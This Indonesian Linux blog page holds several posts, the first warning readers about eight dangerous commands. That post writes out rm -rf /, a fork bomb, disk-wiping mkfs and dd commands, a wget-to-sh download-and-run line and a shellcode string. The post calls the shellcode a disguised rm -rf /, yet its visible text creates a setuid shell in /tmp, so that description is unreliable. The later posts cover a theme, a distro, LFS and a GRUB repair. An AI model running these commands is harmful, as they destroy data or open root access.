Update Terbaru..

Post Terbaru dari Peternak

8 Peritah Berbahaya yang dapat Merusak Sistem Linux-mu

8 Peritah Berbahaya yang dapat Merusak Sistem Linux-mu



Perintah-perintah linux memang sangat breguna dalam berbagai hal. Akan tetapi, tahukah kalian, ada perintah-perintah berbahaya yang tidak boleh kalian jalankan. Karena dapat merusak sistem.

Perintah-perintah tersebut biasanya dijalankan dengan akses super user (root/sudo). Apa saja 8 perintah-perintah berbahaya itu?

Mari kita bahas satu per satu…

1. rm -rf /  (Hapus segala hal)

Perintah rm sebenarnya digunakan untuk menghapus file dan direktori. Bila diberikan argumen -rf perintah ini akan menghapus secara rekursif.

-rf artinya hapus secara rekursif
/ adalah direktori root
Perintah tersebut berbahaya, karena direktori yang dihapus adalah direktori root ("/"). Menghapus semua data dari akar-akarnya (root).

Hati-hati! perintah ini dapat mengakhiri hidupmu, karena semua filenya akan terhapus.

2. Samaran dari rm -rf /

Karena perintah rm -rf / sudah jelas fungsinya, maka banyak orang-orang jahil di internet membuat samaran atau alias dari peritnah tersebut. Berikut ini bentuknya:

char esp[] attribute ((section(“.text”))) /* e.s.p
release /
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Perintah tersebut adalah bentuk heksadesimal dari rm -rf /, hati-hati jangan terperdaya. Waspadalah ketika kalian menjalankan perintah yang tidak diketahui fungsinya.

3. :(){ :|: & };: (Boom!)

Perintah ini terlihat sederhana, tapi sangat berbahaya.

:(){ :|: & };:

Perintah ini akan melakukan duplikasi terhadap dirinya sendiri. Terus-menerus menciptakan dirinya sehingga menghabiskan memori dan membuat komputer hang.

4. mkfs.ext4 /dev/sda1 (Format Hardisk)

Perintah ini sangat mudah dipahami fungsinya.

mkfs.ext4 digunakan untuk membuat file sistem ext4
/dev/sda1 adalah partisi pertama pada hardisk
Berhati-hatilah menjalankan perintah dengan parameter /dev/sd
, karena perintah itu akan melakukan sesuatu terhadap hardisk maupun media penyimpanan yang lain.

5. command > /dev/sda (Menulis ke Hardisk)

Perintah ini berbahaya, karena dapat menulis ulang isi hardisk.

command perintah apa saja
> tanda ini maksudnya untuk menulis ulang isi sebuah file
/dev/sda lokasi hardisk (karena hardisk dianggap file di linux)

contohnya:

echo “Hello World!” > /dev/sda

Jangan dicoba! berbahaya 😁.

6. dd if=/dev/random of=/dev/sda (Membuat File Sampah ke Hardisk)

Perintah dd sebenarnya untuk melakukan copy berserta file sistemnya. Perintah ini memiliki dua parameter yang umum digunakan, if (input stream) dan of (output stream).

if = sumber yang akan di-copy
of = tujuan
/dev/random = file acak
/dev/sda = hardisk kita
Hati-hati! perintah ini dapat membuat linux-mu menjadi tempat sampah.

7. mv ~ /dev/null (Kirim direktori Home ke Black Hole)

Lokasi /dev/null dianggap sebagai lokasi berbahaya. Lokasi ini dijuluki Black Hole, karena apapun yang dikirim ke sana akan menghilang.

mv = Pindah file (cut)
/dev/null = lokasi black hole
Karakter tidle ~ adalah simbol lokasi home.

8. wget https://example.com/something -O – | sh (Download dan Langsung Eksekusi)

Perintah ini berbahaya, karena akan mendonload skrip yang tidak kita ketahui fungsinya. Setelah itu akan langsung dieksekusi.

Bisa saja skripnya berbahaya, maka dari itu… berhati-hatilah menggunakan perintah ini.

Itulah 8 perintah berbahaya yang tidak boleh kamu jalankan.

Referensi: Howtogeek

Tema Bernuansa Material Design yang akan Membuat Linux-mu Terlihat Lebih Modern

Tema Bernuansa Material Design yang akan Membuat Linux-mu Terlihat Lebih Modern



Konsep Material Design pertama kali diperkenalkan oleh Google. Konsep desain ini yang menjadi antar muka Android hingga saat ini.

Seorang pengembang dengan nama github nana-4, mencoba membuat tiruan konsep ini untuk tema GTK3, GTK2, Metacity, GNOME Shell, Unity, MATE, LightDM, GDM, Chrome theme, dsb. Tema ini diberi nama Flat-Plat.

Cuplikan Tampilannya

Tampilan Lock Screen:


Tampilan Unlock Screen:


Tampilannya di Gnome:


Tampilannya di Ubuntu (Unity 7):


Cara Instal

  1. Download dulu temanya: https://github.com/nana-4/Flat-Plat/archive/master.zip
  2. Ekstrak file ZIP temanya
  3. Buka Teminal
  4. Masuk ke direktori hasil ekstarak
  5. Eksekusi skrip install.sh sebagai root (sudo)
sudo ./install.sh
Setelah itu, buka Theme Manager untuk mengganti tema. Biasanya terletak di System Settings > Theme.

Bagai mana pendapatmu tentang tema ini?

Xenta OS, Distro Racikan Anak Indonesia Berbasis Linux Mint yang Patut Kamu Coba

Xenta OS, Distro Racikan Anak Indonesia Berbasis Linux Mint yang Patut Kamu Coba



Berawal dari proyek hobi, Dindin Hernawan kini resmi merilis distro Linux racikannya yang diberi nama Xenta OS.

Xenta OS dikembangkan dari Linux Mint. Dindin Hernawan memilih Linux Mint, karena stabil. Ya, tidak diragukan lagi, saya juga sudah lama dan betah menggunakan Linux Mint.

Asal Nama Xenta OS

Xenta OS berasal dari kata X dan επτά (bahasa yunani yang artinya tujuh) x sendiri melambangkan untuk OS bertipe Linux, dan  επτά diplesetkan menjadi kata enta meskipun itu beda artinya. sebagai bias dari permainan kata. Tujuh itu melambangkan Tujuan.

Kelebihan dari Xenta OS dibandingkan Linux Mint

Dikutip dari website Xenta OS, berikut ini kelebihannya yang tidak dimiliki Linux Mint:

  1. Menyertakan berbagai konten lokal khas Indonesia.
  2. Menyertakan berbagai aplikasi hasil karya para pecinta dan penggiat linux Indonesia.
  3. Tersedia antarmuka menggunakan Bahasa Indonesia, sehingga bisa lebih dimengerti oleh orang awam.

Screenshot Tempilan Xenta OS

Berikut ini tampilan Xenta OS yang cukup menawan. Dilihat dari segi Window Manager-nya, Xenta OS membuat dekorasi jendela yang hampir mirip dengan Windows 10. Hal ini akan membuat pengguna baru/awam mudah mengoperasikannya.



Demo Video:



Tim Pengembang Xenta OS

Leader Team : Dindin Hernawan 

Tim Kesenian
  1. Imam Ardy
  2. Samman Guntur
Tim Pengembang
  1. Muhammad Andi Putranto
Tim Pemaketan
  1. Faqih Yougo S
Tim Dokumentasi
  1. Ilham Adi Setiawan

Tertarik mencobanya?

Saat ini Xenta OS hanya tersedia untuk prosesor 32-bit dengan versi 1.3.1-Jahitan3. Lingkungan Desktop yang digunakan adalah Cinnamon. Bila kamu ingin mencobanya, silakan langsung menuju website Xenta OS.

— Update 18 Maret 2017 —
Xenta OS 64 bit sudah tersedia: Rilis Pertama Xenta OS 1.3.1 “Arok” Cinnamon amd64


Bagaimana pendapatmu dengan Xenta OS?

Apa itu 'Linux From Scratch'? inilah Penjelasannya

Apa itu 'Linux From Scratch'? inilah Penjelasannya



Linux From Scratch kalau diterjemahkan ke dalam bahasa indonesia kira-kira artinya akan menjadi “Linux dari nol”.

Linux From Scratch atau disingkat LFS merupakan sebuah proyek yang menyediakan buku panduan membangun linux dari nol (scratch). Tujuannya agar Kita bisa mengembangkan Linux versi kita sendiri.

Panduan yang disediakan di LFS menggunakan bahasa inggris dan saat ini sepertinya belum ada terjemahannya ke bahasa indonesia.

Unduh LFS:

Kenapa membangun dari nol, kan sudah banyak distro yang siap pakai?

Berikut ini keuntungan membangun Linux dari nol:
  1. LFS mengajari orang agar paham cara kerja linux lebih mendalam;
  2. Kita bisa kembangkan Linux berdasarkan kebutuhan kita sendiri;
  3. Lebih aman, karena kita tahu bahan dan bumbu-bumbunya.

Siapa dibalik Proyek LFS?

  • Project Leader: Gerard Beekmans
  • Project Co-leader: Matthew Burgess
  • Project Co-leader: Bruce Dubbs
  • dan orang-orang yang berkontribusi di proyek secara sukarela.

Ini Cara Saya Repair GRUB Linux Mint 18 64bit yang Rusak

Ini Cara Saya Repair GRUB Linux Mint 18 64bit yang Rusak

Pagi ini saya mendapatkan pengalaman yang cukup menegangkan. Awalnya, saya ingin memeriksa kipas laptop yang bising. Saya pun melepas beberapa komponen seperti hardisk dan RAM. Tapi, setelah dipasang kembali malah tidak bisa booting. Layar laptop hanya menampilkan pesan seperti gambar ini.

Repair Grub Linux

Pesan tersebut sempat membuat saya sedikit panik. Saya menduga hardisknya yang rusak, karena tidak bisa masuk ke sistem operasi. Kemudian, saya coba mencari informasi di internet terkait masalah ini.

Ada beberapa solusi yang ditawarkan di internet, seperti mengganti mode boot BIOS dari UEFI menjadi Legacy. Saya pun melakukannya dan dihadapkan dengan GRUB RESCUE>

Saya mulai curiga, ketika mengetik perintah ls di GRUB RESCUE> saya melihat isi dan partisi hardisk saya. Artinya, hardisk masih bagus dan datanya masih utuh. Mungkinkah hanya masalah kehilangan GRUB saja? GRUB RESCURE> mungkin sebuah prompt shell yang akan menyelamatkan GRUB yang hilang tersebut. Lalu saya mengikuti beberapa perintah yang didapatkan di internet.

grub rescue > ls
(hd0) (hd0,msdos5) (hd0,msdos3) (hd0,msdos2) (hd0,msdos1) (hd1) (hd1,msdos1)
grub rescue > ls (hd0,msdos1)
grub rescue > ls (hd0,msdos2)
grub rescue > set root=(hd0,msdos2)
grub rescue > set prefix=(hd0,msdos2)/boot/grub
grub rescue > insmod normal
grub rescue > normal
Hasilnya, saya gagal ketika mengetik perintah insmod normal. Katanya ada file yang tidak bisa ditemukan. Saat ini saya memang sedang boot dengan mode Legacy. Kemungkinan file tersebut tidak ditemukan karena saya menggunakan Linux 64bit.

Karena saya sudah menduga yang rusak adalah GRUB-nya, maka selanjutnya saya akan mencoba me-repair GRUB-nya. Untung saja ada teman yang mau meminjamkan flashdisk untuk membuat Live CD Linux Mint 18 64Bit. Lalu saya membuat sebuah LiveCD di flashdisk untuk menjalankan Linux Mint 18.

Sekarang saya sudah berhasil masuk ke Linux Mint 18 Live CD. Saya coba kembalikan GRUB dengan cara biasa melalui perintah terminal, akan tetapi tidak berhasil. GRUB yang terinstal malah yang untuk 32Bit.

Selanjutnya saya coba konek ke internet melalui Live CD Linux Mint, kemudian menginstal program boot-repair. Untung saja di tempat saya ada koneksi WiFi.

sudo add-apt-repository ppa:yannubuntu/boot-repair
sudo apt-get update
sudo apt-get install -y boot-repair && boot-repair
Lalu, hanya memilih recommended repair saja, sudah kembali normal. Sekarang laptop saya sudah bisa boot lagi ke sistem operasinya.



Entah apa yang menyebabkan GRUB di laptop saya hilang. Secara logika, tidak mungkin hilang meskipun hardisk dilepas. Saya menduga disebabkan karena fitur Secure Boot di BIOS.

Cara Print Dokumen dari Terminal ala Hacker

Cara Print Dokumen dari Terminal ala Hacker

Ini dia cara keren mencetak dokumen dengan printer melalui perintah CLI di Terminal. Baca selengkapnya...